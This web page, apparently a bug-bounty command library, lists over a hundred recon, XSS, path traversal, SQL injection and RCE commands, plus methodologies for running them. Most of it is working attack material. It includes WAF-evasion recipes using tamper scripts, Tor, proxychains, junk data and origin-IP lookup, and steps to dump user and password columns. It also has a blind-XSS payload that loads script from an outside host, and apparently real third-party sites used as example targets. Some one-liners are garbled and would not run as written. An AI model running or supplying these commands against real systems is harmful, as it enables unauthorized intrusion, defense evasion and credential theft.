Bug Bounty Toolkit

Bug hunting, without the fog.

A curated, searchable library of security commands and methodologies for authorized testing. Reference material only — use only on systems you own or have explicit written permission to test.

123Commands
17Categories
6Methodologies
Commands below update live with your target
Authorization required. These commands are reference material. Running any of them against a system without authorization may be illegal. The Service and its operators are not responsible for how you use this information.

Reference

Command Library

Searchable security commands organized by category — each command rewrites with your target domain.

Showing 123 of 123 commands in 17 categories
Recon Map the attack surface — subdomains, live hosts, ports, URLs and client-side code.
  • subfinder

    Basic Subdomain Discovery

    Discovers subdomains using subfinder with recursive enumeration and saves results to a file.

    $ subfinder -d example.com -all -recursive > subdomain.txt
  • httpx-toolkit

    Live Subdomain Filtering

    Filters discovered subdomains using httpx and saves the alive ones to a file.

    $ cat subdomain.txt | httpx-toolkit -ports 80,443,8080,8000,8888 -threads 200 > subdomain_alive.txt
  • subzy

    Subdomain Takeover Check

    Checks for subdomain takeover vulnerabilities using subzy.

    $ subzy run --targets subdomain.txt --concurrency 100 --hide_fails --verify_ssl
  • sort

    Command

    $ waybackurls example.com | sort -u
  • sort

    Command

    $ gau --subs example.com | sort -u
  • gospider

    Command

    $ gospider -s https://example.com -a -w -r
  • hakrawler

    Command

    $ hakrawler -url https://example.com -depth 3 -plain
  • katana

    Command

    $ katana -u https://example.com -silent
  • nmap

    Command

    $ nmap -sV -sC -T4 example.com
  • masscan

    Command

    $ masscan -p1-65535 --rate=1000 example.com
  • naabu

    Command

    $ naabu -host example.com -silent
  • getjs

    Command

    $ getjs --url https://example.com --complete
  • linkfinder

    Command

    $ linkfinder -i https://example.com -o endpoints.txt
  • subjs

    Command

    $ subjs -u https://example.com
Injection Probe every input: reflected & stored XSS, path traversal, and SQL injection.
  • dalfox

    Command

    $ dalfox url https://example.com/page.php?id=1
  • dalfox

    Command

    $ dalfox file urls.txt --blind https://your.xss.ht
  • xsscrapy

    Command

    $ xsscrapy -u https://example.com
  • kxss

    Command

    $ kxss -u https://example.com/page.php?q=test
  • freq

    Command

    $ cat urls.txt | grep "=" | qsreplace "><svg/onload=alert(1)>" | freq
  • freq

    Command

    $ cat urls.txt | grep "=" | qsreplace "\"><img src=x onerror=alert(1)>" | freq
  • nuclei

    Command

    $ nuclei -l urls.txt -t http/cves -t http/vulnerabilities -t http/exposures
  • nuclei

    Command

    $ nuclei -l urls.txt -tags xss
  • nuclei

    Command

    $ nuclei -l urls.txt -tags xss -rl 100 -H "X-Forwarded-For: 127.0.0.1"
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --crawl=3
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --tamper=space2comment --batch
  • freq

    Command

    $ cat urls.txt | grep -E "(file|path|page|dir|doc|download)=" | qsreplace "../../../../etc/passwd" | freq
  • freq

    Command

    $ cat urls.txt | grep "=" | qsreplace "....//....//....//etc/passwd" | freq
  • nuclei

    Command

    $ nuclei -l urls.txt -tags lfi
  • ffuf

    Command

    $ ffuf -u https://example.com/FUZZ -w payloads/lfi.txt -mc 200
  • grep

    Command

    $ cat urls.txt | qsreplace "php://filter/convert.base64-encode/resource=index.php" | grep -i "base64"
  • gf

    Command

    $ gau example.com | gf lfi
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --dbs --batch
  • sqlmap

    Command

    $ sqlmap -r request.txt --level 5 --risk 3 --batch --dbs
  • sqlmap

    Command

    $ sqlmap -m urls.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --tamper=space2comment,between,randomcase --dbs --batch
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --tamper=charencode,equaltolike --dbs --batch
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --tamper=apostrophemask,base64encode --dbs --batch
  • sqlmap

    Command

    $ sqlmap -r request.txt --time-sec=10 --tor --tor-type=SOCKS5 --dbs --batch
  • sqlmap

    Command

    $ sqlmap -r request.txt --proxy http://127.0.0.1:8080 --random-agent --dbs --batch
  • sqlmap

    Command

    $ sqlmap -u 'https://api.example.com/login' --data '{"User":"admin","Pwd":"admin@123"}' --random-agent --ignore-code 403 --dbs --hex
  • ghauri

    Command

    $ ghauri -u "https://example.com/page.php?id=1" --dbs --batch
  • ghauri

    Command

    $ ghauri -r request.txt -p user_id --dbs --batch --level 3
  • ghauri

    Command

    $ ghauri -u "https://example.com/page.php?id=1" --batch --dbs --level 3 --dbms mysql --confirm --time-sec 10 --delay 5
  • ghauri

    Command

    $ ghauri -u "https://example.com/page.php?id=1" --prefix "')//**/" --suffix "--+" --skip-urlencode --dbs --batch
  • grep

    Command

    $ curl -s -H 'X-Forwarded-For: 1' -H 'User-Agent: 1' 'https://example.com/page.php?id=1' | grep -i error
  • curl

    Command

    $ curl -s -H 'Referer: 1\' AND SLEEP(5)-- ' 'https://example.com/page.php' -w 'time: %{time_total}s'
  • sqlmap

    Command

    $ sqlmap -u https://example.com --headers='X-Forwarded-For: *' --level=5 --risk=3 --batch
Discovery Surface what was meant to stay hidden — secrets, backups, parameters and dumps.
  • ini)$"

    Command

    $ gau example.com | grep -E "\.(sql|env|json|bak|old|zip|tar|log|conf|yml|yaml|ini)$"
  • access[_-]?key)"

    Command

    $ cat urls.txt | grep -iE "(api[_-]?key|token|secret|password|access[_-]?key)"
  • nuclei

    Command

    $ nuclei -l urls.txt -tags config,exposure
  • backup)"

    Command

    $ cat urls.txt | grep "=" | qsreplace "vuln" | httpx -silent | grep -E "(admin|config|backup)"
  • gcs)"

    Command

    $ subfinder -d example.com -silent | dnsx -silent | httpx -silent | waybackurls | grep -E "(aws|s3|firebase|azure|gcs)"
  • httpx

    Command

    $ findomain -t example.com -q | httpx -silent -status-code
  • confidential)"

    Command

    $ cat urls.txt | grep -E "\.(pdf|docx|xlsx|pptx)$" | grep -iE "(password|security|backup|confidential)"
  • gitleaks

    Command

    $ gitleaks detect --source . --no-git
  • ffuf

    Command

    $ ffuf -u https://example.com/FUZZ -w wordlists/dirb/common.txt -mc 200,301,302,403 -t 50
  • gobuster

    Command

    $ gobuster dir -u https://example.com -w wordlists/directory-list-2.3-medium.txt -t 50
  • dirsearch

    Command

    $ dirsearch -u https://example.com -e php,html,bak -t 50
  • arjun

    Command

    $ arjun -u https://example.com/page.php
  • ffuf

    Command

    $ ffuf -u "https://example.com/page.php?FUZZ=test" -w wordlists/parameters.txt -fs 1234
  • x8

    Command

    $ x8 -u https://example.com/page.php -w wordlists/parameters.txt
  • git-dumper

    Command

    $ git-dumper https://example.com/.git/ /tmp/gitdump
  • nuclei

    Command

    $ nuclei -l urls.txt -tags git,exposure
Config CORS, headers and platform misconfigurations worth checking before deep exploits.
  • grep

    Command

    $ cat urls.txt | while read u; do curl -s -i -H "Origin: https://evil.com" "$u" | grep -i "access-control-allow-origin"; done
  • corsy

    Command

    $ corsy -u https://example.com
  • vary"

    Command

    $ curl -s -i -H "Origin: https://evil.com" https://example.com/api | grep -iE "access-control|vary"
  • cors-scanner

    Command

    $ cors-scanner -u https://example.com
  • grep

    Command

    $ curl -s -i -H "Origin: null" https://example.com | grep -i "access-control-allow-origin"
  • grep

    Command

    $ curl -s -i -H "Origin: https://example.com.evil.com" https://example.com | grep -i "access-control"
  • grep

    Command

    $ curl -s -i -H "Origin: https://evil.com" -X OPTIONS https://example.com/api -H "Access-Control-Request-Method: GET" | grep -i "access-control"
  • freq

    Command

    $ cat urls.txt | grep -E "(redirect|url|next|return|dest)=" | qsreplace "https://evil.com" | freq
  • freq

    Command

    $ cat urls.txt | grep "=" | qsreplace "//evil.com" | freq
  • nuclei

    Command

    $ nuclei -l urls.txt -tags redirect
CMS Fast triage for WordPress and other CMS deployments.
  • wpscan

    Command

    $ wpscan --url https://example.com --enumerate u,vp,vt --api-token TOKEN
  • nuclei

    Command

    $ nuclei -l urls.txt -tags wordpress
Payloads Ready-to-fire payload lists for quick qsreplace / ffuf pipelines.
  • sql'

    Command

    $ curl -s 'https://example.com/page.php?id=1%27%20OR%20%271%27%3D%271' | grep -iE 'error|sql'
  • curl

    Command

    $ curl -s 'https://example.com/page.php?id=1%27%20AND%20SLEEP(5)--%20' -w 'time: %{time_total}s'
  • error'

    Command

    $ curl -s 'https://example.com/page.php?id=1%20UNION%20SELECT%20NULL,NULL,NULL--%20' | grep -iE 'column|error'
  • curl

    Command

    $ curl -s 'https://example.com/page.php?id=1%27%20AND%20%271%27%3D%271' -o /dev/null -w '%{size_download}'
  • curl

    Command

    $ curl -s 'https://example.com/page.php?id=1%27%20AND%20%271%27%3D%272' -o /dev/null -w '%{size_download}'
  • version'

    Command

    $ curl -s 'https://example.com/page.php?id=1%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))--%20' | grep -iE 'XPATH|version'
  • dork

    Command

    $ site:*.example.com inurl:id=
  • dork

    Command

    $ site:*.example.com inurl=product.php?id=
  • dork

    Command

    $ site:*.example.com inurl=view.php?page=
  • dork

    Command

    $ site:*.example.com inurl=item.php?cat=
  • dork

    Command

    $ site:*.example.com ext:php
  • dork

    Command

    $ site:*.example.com ext:asp
  • dork

    Command

    $ site:*.example.com ext:aspx
  • dork

    Command

    $ site:*.example.com ext:jsp
  • dork

    Command

    $ site:*.example.com ext:jspx
  • dork

    Command

    $ site:*.example.com ext:cfm
  • dork

    Command

    $ site:*.example.com ext:pl
  • dork

    Command

    $ site:*.example.com ext:php inurl:id=
  • dork

    Command

    $ site:*.example.com ext:aspx inurl=productid=
  • dork

    Command

    $ site:*.example.com ext:jsp inurl=categoryid=
  • dork

    Command

    $ site:*.example.com intext:"You have an error in your SQL syntax"
  • dork

    Command

    $ site:*.example.com intext:"mysql_fetch_array() expects parameter"
  • dork

    Command

    $ site:*.example.com intext:"mysql_num_rows() expects parameter"
  • dork

    Command

    $ site:*.example.com intext:"supplied argument is not a valid MySQL result resource"
  • dork

    Command

    $ site:*.example.com intext:"Warning: mysql_"
  • dork

    Command

    $ site:*.example.com intext:"Fatal error: Uncaught mysqli_sql_exception"
  • dork

    Command

    $ site:*.example.com intext:"Fatal error: Call to undefined function mysql_connect()"
  • dork

    Command

    $ site:*.example.com intext:"Warning: PDO::query()"
  • dork

    Command

    $ site:*.example.com intext:"SQLSTATE[HY000]"
  • dork

    Command

    $ site:*.example.com intext:"pg_query(): Query failed"
  • dork

    Command

    $ site:*.example.com intext:"Warning: pg_connect()"
  • dork

    Command

    $ site:*.example.com intext:"PostgreSQL query failed: ERROR"
  • dork

    Command

    $ site:*.example.com intext:"Microsoft OLE DB Provider for SQL Server"
  • dork

    Command

    $ site:*.example.com intext:"Unclosed quotation mark after the character string"
  • dork

    Command

    $ site:*.example.com intext:"ADODB.Field error"
  • dork

    Command

    $ site:*.example.com intext:"80040e14"
  • dork

    Command

    $ site:*.example.com intext:"ORA-00933: SQL command not properly ended"
  • dork

    Command

    $ site:*.example.com intext:"ORA-01756: quoted string not properly terminated"
  • dork

    Command

    $ site:*.example.com intext:"Warning: oci_parse()"
  • dork

    Command

    $ site:*.example.com intext:"Query failed:"
  • dork

    Command

    $ site:*.example.com intext:"unexpected end of SQL command"
  • dork

    Command

    $ site:*.example.com intext:"invalid SQL statement"
  • dork

    Command

    $ site:*.example.com intext:"JDBC Exception"
  • dork

    Command

    $ site:example.com ext:sql | ext:db | ext:dbf | ext:bak | ext:old | ext:backup
  • dork

    Command

    $ intitle:"index of" "db.sql"
  • dork

    Command

    $ intitle:"index of" "database.sql"
  • dork

    Command

    $ intitle:"index of" "dump.sql"
  • dork

    Command

    $ Ssl.cert.subject.CN:'example.com' 200

Guides

Step-by-step guides

Methodologies for common hunting flows — applied to your target.

Deep dive
  1. 01

    Step 1: Subdomain Discovery

    Find and filter live subdomains.

    $ subfinder -d example.com -all -recursive > subdomains.txt
    $ cat subdomain.txt | httpx-toolkit -ports 80,443,8080,8000,8888 -threads 200 > subdomains_alive.txt
  2. 02

    Step 2: URL Collection

    Collect all URLs from subdomains.

    $ katana -u subdomains_alive.txt -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -kf -jc -fx -ef woff,css,png,svg,jpg,woff2,jpeg,gif,svg -o allurls.txt
  3. 03

    Step 3: Sensitive File Detection

    Find sensitive files and JavaScript files.

    $ cat allurls.txt | grep -E "\.txt|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.json|\.gz|\.rar|\.zip|\.config"
    $ cat allurls.txt | grep -E "\.js$" >> js.txt
  4. 04

    Step 4: JS Analysis

    Analyze JavaScript files for secrets.

    $ cat js.txt | nuclei -t /nuclei-templates/http/exposures/
    $ echo www.example.com | katana -ps | grep -E "\.js$" | nuclei -t /nuclei-templates/http/exposures/ -c 30
  5. 05

    Step 5: Directory Bruteforce

    Bruteforce directories and files.

    $ dirsearch -u https://www.example.com -e conf,config,bak,backup,swp,old,db,sql,asp,aspx,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,lock,log,rar,old,sql,sql.gz,sql.zip,swp,tar,tar.bz2,tar.gz,txt,wadl,zip
  6. 06

    Step 6: XSS Hunting

    Hunt for XSS vulnerabilities.

    $ subfinder -d example.com | httpx-toolkit -silent | katana -ps -f qurl | gf xss | bxss -appendMode -payload '"><script src=https://xss.report/c/coffinxp></script>' -parameters
  7. 07

    Step 7: Subdomain Takeover

    Check for subdomain takeover.

    $ subzy run --targets subdomains.txt --concurrency 100 --hide_fails --verify_ssl
  8. 08

    Step 8: CORS Check

    Check for CORS misconfigurations.

    $ python3 corsy.py -i /home/coffinxp/vaitor/subdomains_alive.txt -t 10 --headers "User-Agent: GoogleBot\nCookie: SESSION=Hacked"
    $ nuclei -list subdomains_alive.txt -t /nuclei-templates/http/vulnerabilities/generic/cors-misconfig.yaml
  9. 09

    Step 9: Vulnerability Scanning

    Run vulnerability scans using Nuclei.

    $ nuclei -list subdomains_alive.txt -tags cve,osint,tech
    $ cat allurls.txt | gf lfi | nuclei -tags lfis
    $ cat allurls.txt | gf redirect | openredirex -p /home/whiterose/openRedirect
Deep dive
  1. 01

    Step 1: Find SQL-Prone URLs

    Collect URLs with potential SQL parameters.

    $ echo https://example.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep "=" >urls1.txt
    $ echo https://example.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" >urls2.txt
  2. 02

    Step 2: Filter SQLi Parameters

    Use gf to extract SQL injection prone endpoints.

    $ cat urls1.txt urls2.txt | gf sqli | uro > cleaned-sql.txt
  3. 03

    Step 3: Automate Testing

    Run automated SQL injection testing.

    $ ghauri -m cleaned-sql.txt --batch --dbs --level 3 --confirm
    $ sqlmap -m cleaned-sql.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs
  4. 04

    LostSec Tool (Single URL)

    Test single URL with LostSec tool.

    $ python3 lostsec.py -u "https://cutm.ac.in/payu/skill/index.php?id=34" -p payloads/xor.txt -t 5
  5. 05

    LostSec Tool (Multiple URLs)

    Test multiple URLs with LostSec tool.

    $ paramspider -d www.speedway.net.au -o urls.txt
    $ cat output/urls.txt | sed 's/FUZZ//g' >final.txt
    $ python3 lostsec.py -1 final.txt -p payloads/xor.txt -t 5
Deep dive
  1. 01

    Step 1: Collect XSS Parameters

    Collect potential XSS vulnerable parameters.

    $ echo example.com | gau | gf xss | uro | Gxss | kxss | tee xss_output.txt
  2. 02

    Step 2: Refine Results

    Clean and filter XSS results.

    $ cat xss_output.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > final.txt
  3. 03

    Step 3: Exploit with LOXS

    Final exploitation with LOXS tool from github.com/coffinxp.

    $ python3 loxs.py
  4. 04

    XSS and SSRF Headers Test

    Test XSS and SSRF via HTTP headers.

    $ cat domains.txt | assetfinder --subs-only| httprobe | while read url; do xss1=$(curl -s -L $url -H 'X-Forwarded-For: xss.yourburpcollabrotor'|grep xss) xss2=$(curl -s -L $url -H 'X-Forwarded-Host: xss.yourburpcollabrotor'|grep xss) xss3=$(curl -s -L $url -H 'Host: xss.yourburpcollabrotor'|grep xss) xss4=$(curl -s -L $url --request-target http://burpcollaborator/ --max-time 2); echo -e '\e[1;32m$url\e[0m''\n''Method[1] X-Forwarded-For: xss+ssrf => $xss1''\n''Method[2] X-Forwarded-Host: xss+ssrf ==> $xss2''\n''Method[3] Host: xss+ssrf ==> $xss3''\n''Method[4] GET http://xss.yourburpcollabrotor HTTP/1.1 ''\n';done'
Deep dive
  1. 01

    Step 1: Collect LFI Parameters

    Find URLs with potential LFI parameters.

    $ subfinder -d exapmle.com | httpx-toolkit | gau | uro | gf lfi | tee subdomains.txt
  2. 02

    Step 2: Nuclei LFI Scan

    Run Nuclei LFI templates.

    $ nuclei -l subdomains.txt -tags lfi
    $ nuclei -target 'https://example.com/home.php?page=about.php' -tags lfi
  3. 03

    Step 3: Manual LFI Testing

    Manual LFI verification.

    $ echo 'https://example.com/' | gau | uro | gf lfi
    $ dotdotpwn -m http-url -d 1- -f /etc/passwd -u "https://example.com/index.php?ajax.php?page=TRAVERSAL" -b -k "root:"
  4. 04

    LFI One-Liner Validation

    Automated LFI validation.

    $ subfinder -d example.com | httpx-toolkit | gau | uro | gf lfi | gsreplace | "/etc/passwd" | while read url ; do curl -silent | "$url" | grep "root:x:" && echo "$url is vulnerable"; done;
  5. 05

    ParamSpider for LFI

    Use ParamSpider to find LFI parameters.

    $ paramspider -d example.com --subs
    $ dotdotpwn -m http-url -d 1- -f /etc/passwd -u "https://example.com/index.php?ajax.php?page=TRAVERSAL" -b -k "root:"
Deep dive
  1. 01

    CRLF Injection

    Scan for CRLF injection.

    $ subfinder -d example.com -all | nuclei -t /nuclei-templates/crlf.yaml -rl 50
  2. 02

    Open Redirect

    Scan for open redirects.

    $ subfinder -d example.com -all | nuclei -t /nuclei-templates/openRedirect.yaml -rl 100
  3. 03

    IIS Vulnerabilities

    Scan for IIS specific vulnerabilities.

    $ subfinder -d example.com -all | nuclei -t /nuclei-templates/iis.yaml
  4. 04

    CORS Misconfiguration

    Scan for CORS misconfigurations.

    $ subfinder -d example.com -all | nuclei -t /nuclei-templates/cors.yaml -rl 100
  5. 05

    SQL Injection Errors

    Scan for SQL injection error messages.

    $ subfinder -d example.com -all | waybackurls | gf sqli | uro | nuclei -t /nuclei-templates/errsqli.yaml -rl 50
  6. 06

    RCE One-Liner

    Quick RCE check.

    $ cat targets.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent
Deep dive
  1. 01

    Basic SQLMap Scan

    Start with basic SQLMap testing. Use -r for Burp request files (POST/Headers).

    $ sqlmap -u "https://target.com/page.php?id=1" --dbs --batch
    $ sqlmap -r request.txt --level 5 --risk 3 --batch --dbs
  2. 02

    BULK URLs Testing

    Test multiple URLs from a text file in one automated run.

    $ sqlmap -m urls.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs
  3. 03

    Tamper Scripts for WAF Bypass

    Use tamper scripts to bypass WAF filtering. Reference: github.com/coffinxp/payloads for full cheatsheet.

    $ sqlmap -u "url" --tamper=space2comment,between,randomcase --dbs --batch
    $ sqlmap -u "url" --tamper=charencode,equaltolike --dbs --batch
    $ sqlmap -u "url" --tamper=apostrophemask,base64encode --dbs --batch
  4. 04

    Tor & Proxy Mode

    Route traffic through Tor or Burp proxy to evade IP-based blocking.

    $ sqlmap -r request.txt --time-sec=10 --tor --tor-type=SOCKS5 --dbs --batch
    $ sqlmap -r request.txt --proxy http://127.0.0.1:8080 --random-agent --dbs --batch
  5. 05

    JSON-Based SQL Injection

    Test JSON APIs with hex-encoded payloads, ignore 403 responses.

    $ sqlmap -u 'https://api.target.com/login' --data '{"User":"admin","Pwd":"admin@123"}' --random-agent --ignore-code 403 --dbs --hex
  6. 06

    Ghauri Basic Scan

    Ghauri is optimized for blind/time-based and cloud WAFs (Cloudflare, Akamai).

    $ ghauri -u "https://target.com/page.php?id=1" --dbs --batch
    $ ghauri -r request.txt -p user_id --dbs --batch --level 3
  7. 07

    Ghauri WAF Evasion

    Use delay, confirm, and custom prefix/suffix for WAF evasion.

    $ ghauri -u 'url' --batch --dbs --level 3 --dbms mysql --confirm --time-sec 10 --delay 5
    $ ghauri -u 'url' --prefix "')/**/" --suffix "--+" --skip-urlencode --dbs --batch
  8. 08

    Ghauri with ProxyChains

    Use residential proxies for better WAF bypass success rate.

    $ proxychains ghauri -u "url" -p param --batch --dbs --confirm --level 3 --time-sec 10
  9. 09

    Fortinet WAF Bypass (Junk Data)

    Send >1KB junk data to exceed WAF inspection limits (Cloudflare: 128KB, AWS: 8-64KB, Akamai: 8-128KB).

    $ ghauri --data "junk=asd...x1000...asd&recover=1&user=admin*" --url https://target.com/login.php --dbs --batch
  10. 10

    Find Origin IP

    Bypass WAF by finding origin IP via FOFA/Shodan and testing directly.

    $ shodan search 'ssl.cert.subject.CN:"target.com"'
    $ # Add to /etc/hosts: <origin_ip> target.com
    $ ghauri -u 'http://<origin_ip>/vuln.php' --dbs --batch
  11. 11

    Database Enumeration

    Enumerate and extract database contents after finding injection.

    $ --dbs # List all databases
    $ -D database_name --tables # List tables
    $ -D database_name -T users --columns # List columns
    $ -D database_name -T users -C user,pass --dump # Dump data
  12. 12

    Pro Tips

    Best practices for WAF bypass - sometimes one tool succeeds where the other fails.

    $ # Always test with BOTH SQLMap and Ghauri
    $ # SQLMap: Use --hex and proxychains with residential IPs
    $ # Ghauri: Use --confirm and --level 3 for cloud WAFs
    $ # Use --delay 5 --timeout 20 --retries 5 for stealth
    $ # Try --ignore-code to skip 401/403 responses